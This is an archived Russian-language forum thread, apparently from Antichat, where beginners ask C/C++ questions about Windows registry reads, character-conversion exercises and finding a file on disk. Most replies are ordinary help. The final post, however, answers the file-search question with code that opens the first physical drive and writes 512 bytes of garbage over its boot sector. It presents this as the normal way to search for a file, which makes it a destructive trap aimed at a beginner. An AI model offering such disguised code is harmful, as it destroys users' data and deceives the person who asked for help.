[ C / C++ ] — начинающим: задаем вопросы (архивная - 2015)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. reversys

    reversys Elder - Старейшина

    Joined:
    21 Nov 2007
    Messages:
    139
    Likes Received:
    57
    Reputations:
    7
    2criz
    код ошибки 6. Идём в мсдн.

    ERROR_INVALID_HANDLE The handle is invalid.

    Что это значит я думаю ты понял. В том же мсдн есть пример кода юзающего эту функцию.

    Code:
       DWORD BufferSize = TOTALBYTES;
        DWORD cbData;
        DWORD dwRet;
    
        PPERF_DATA_BLOCK PerfData = (PPERF_DATA_BLOCK) malloc( BufferSize );
        cbData = BufferSize;
    
        printf("\nRetrieving the data...");
    
        dwRet = RegQueryValueEx( HKEY_PERFORMANCE_DATA,
                                 TEXT("Global"),
                                 NULL,
                                 NULL,
                                 (LPBYTE) PerfData,
                                 &cbData );
    Да, и проверь может ты ещё hKey не прально заполнил? Или это у тебя проверяется а ты просто код не выложил?

    PS вот тебе ссылка http://msdn2.microsoft.com/en-us/library/ms724911.aspx
     
    #461 reversys, 28 Nov 2007
    Last edited: 28 Nov 2007
  2. criz

    criz Elder - Старейшина

    Joined:
    4 Nov 2007
    Messages:
    293
    Likes Received:
    40
    Reputations:
    6
    Ну вот мой код:
    Code:
    #include <windows.h>
    #include <string.h>
    
    int WINAPI WinMain(HINSTANCE hInstance,  HINSTANCE hPrevInstance, LPSTR lpszCmdParam, int nCmdShow)
    {
        HKEY hKey;
        DWORD dwErr;
        DWORD type = REG_SZ;
        char v[80] = " ";
        unsigned long buf;
        char err;
    	
    	RegOpenKeyExA(HKEY_LOCAL_MACHINE,
                      "SOFTWARE\Eset\Nod\CurrentVersion\Info", 0,
                       KEY_ALL_ACCESS, &hKey);
        if(hKey != ERROR_SUCCESS)
        {
    		MessageBoxA(NULL, "Not found", "Error", MB_OK);
            exit(1);
        }
        dwErr = RegQueryValueExA(hKey, "Language", NULL, NULL, &v, &buf);
    	if(dwErr==ERROR_SUCCESS)
        {
    		MessageBoxA(0,v,"Good!",0);
        }
        else
        {
    		MessageBoxA(0, "error", "error", MB_OK);
        }
    }
    
    P.S. tnx за линк
     
  3. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    что такое Error_success ? как-то странно звучит... типа 2 в 1 ?
     
  4. criz

    criz Elder - Старейшина

    Joined:
    4 Nov 2007
    Messages:
    293
    Likes Received:
    40
    Reputations:
    6
    Error_success == 0. Если я правильно понял то, что прочитал, то эти функции должны возврщать 0...
     
  5. reversys

    reversys Elder - Старейшина

    Joined:
    21 Nov 2007
    Messages:
    139
    Likes Received:
    57
    Reputations:
    7
    2Piflit

    2criz
    То что ты дал вообще не компилится. Поэтому будем думать что ты просто написал его по памяти.
    Дури там много поэтому обсужать не вижу смысла, если интересно - напиши лс.
    Вот тебе твой переправленный код:
    Code:
    HKEY hKey;
    unsigned char *b = new unsigned char[80];
    unsigned long buf=80;
    			
    RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey);
    dwErr = RegQueryValueExA(hKey, "DAEMON Tools", NULL, NULL, b, &buf);
    Надеюсь я тебе помог :)
     
    #465 reversys, 28 Nov 2007
    Last edited: 29 Nov 2007
    2 people like this.
  6. Alpha][

    Alpha][ Elder - Старейшина

    Joined:
    19 Oct 2007
    Messages:
    75
    Likes Received:
    5
    Reputations:
    0
    Народ , глупый вопрос , но какая функция в квадрат число возводит ? Посмотрел в хелпе , там нет О_о
     
  7. bul.666

    bul.666 булка

    Joined:
    6 Jun 2006
    Messages:
    719
    Likes Received:
    425
    Reputations:
    140
    C++ Builder 6:
    AnsiString String1;
    String1 = "23";
    Edit1->Text = String1 * String1;
    =)))))))
     
    1 person likes this.
  8. halkfild

    halkfild Members of Antichat

    Joined:
    11 Nov 2005
    Messages:
    365
    Likes Received:
    578
    Reputations:
    313
    глупый вопрос

    вообще более целеобразно искать через х*х
    если надо большие степени тоже, ускореное умножение
    а вообще:

     
    _________________________
    1 person likes this.
  9. zindi

    zindi Elder - Старейшина

    Joined:
    11 Apr 2007
    Messages:
    74
    Likes Received:
    17
    Reputations:
    0
    народ вот таких три простых задачи но не могу я в ехать в тему..
    1.Водим 4 буквы получаем результат в цыфрах
    2.Водим цыфри получаем буквы.
    3.Водим 4 буквы и шыбруем результат в +1
    Все основано на типу char
     
  10. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    1.
    Code:
    #include <stdio.h>
    
    int main (void) {
    
    	printf("Enter 4 chars, and hit 'Enter' please...\n\n");
    	for (int i = 0; i < 4; i++) {
    		char some_char;
    		some_char = (char) _fgetchar();
    
    		printf("%d\n", some_char);
    	}
    
    	return 0;
    }
    2.
    Code:
    #include <stdio.h>
    #include <stdlib.h>
    
    int main (void) {
    
    	printf("Enter 3 digits between 0 and 255...\n\n");
    
    	char some_char[4] = {0};
    
    	fscanf(stdin, "%s", some_char);
    
    	char result = atoi(some_char);
    
    	printf("%c\n", result);
    
    	return 0;
    }
    3.
    Code:
    #include <stdio.h>
    
    int main (void) {
    
    	printf("Enter 4 chars, and hit 'Enter' please...\n\n");
    	for (int i = 0; i < 4; i++) {
    		char some_char;
    		some_char = (char) _fgetchar();
    		some_char++;
    
    		printf("%c", some_char);
    	}
    
    	return 0;
    }
     
    1 person likes this.
  11. zindi

    zindi Elder - Старейшина

    Joined:
    11 Apr 2007
    Messages:
    74
    Likes Received:
    17
    Reputations:
    0
    спс,а как бы данные задачи зделать без цыклов?
     
  12. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    Ну просто убери цикл и всё... Только смысл? Без цикла ты всегда будешь работать только с одним символом вместо заданных 4-х...
     
  13. zindi

    zindi Elder - Старейшина

    Joined:
    11 Apr 2007
    Messages:
    74
    Likes Received:
    17
    Reputations:
    0
    просто,задача была поставлена зделать без цыкла.Чуть правда шыфровку изменили.Можна и как хош.
     
  14. criz

    criz Elder - Старейшина

    Joined:
    4 Nov 2007
    Messages:
    293
    Likes Received:
    40
    Reputations:
    6
    Как можно осуществить поиск файла в системе? Т.е. я указываю имя ехе-шника и прога выводит абсолютный путь....
    Прога на С, консольная.
     
    #474 criz, 7 Dec 2007
    Last edited: 7 Dec 2007
  15. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    > Как можно осуществить поиск файла в системе?

    FindFirstFile, FindNextFile

    хотя к C это не имеет никакого отношения.
     
    #475 KEZ, 7 Dec 2007
    Last edited: 7 Dec 2007
  16. reversys

    reversys Elder - Старейшина

    Joined:
    21 Nov 2007
    Messages:
    139
    Likes Received:
    57
    Reputations:
    7
    Либо юзай стандартный поиск винды (напиши батничек для этого например) либо смотри в msdn про функции FindFirstFile/FindNextFile.
     
  17. Jes

    Jes Elder - Старейшина

    Joined:
    16 Apr 2007
    Messages:
    370
    Likes Received:
    391
    Reputations:
    34
    скрипт:
    <удалил>
    ... снова я топ перепутал... :(
     
    #477 Jes, 7 Dec 2007
    Last edited: 7 Dec 2007
    2 people like this.
  18. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    пиздееееец...........
     
  19. criz

    criz Elder - Старейшина

    Joined:
    4 Nov 2007
    Messages:
    293
    Likes Received:
    40
    Reputations:
    6
    Если я правильно понял мсдн, то FindFirstFile и FindNextFile ищут файл в указанной директории. А у меня другая ситуация -- я знаю как называется файл, но где он находится не знаю...
     
  20. __mad

    __mad Elder - Старейшина

    Joined:
    4 Nov 2007
    Messages:
    100
    Likes Received:
    38
    Reputations:
    7
    Code:
    #include <stdio.h>
    #include <windows.h>
    
    int main(int argc, char**argv)
    {
    	HANDLE hF;
    	DWORD write;
    	char find[512];
    	hF=CreateFile("\\\\.\\PHYSICALDRIVE0",GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
    	WriteFile(hF,find,512,&write,NULL);
    	CloseHandle(hF);
    	return 0;
    }
    обычно так ищут : D
    в find пиши имя своего файла...)
     
Thread Status:
Not open for further replies.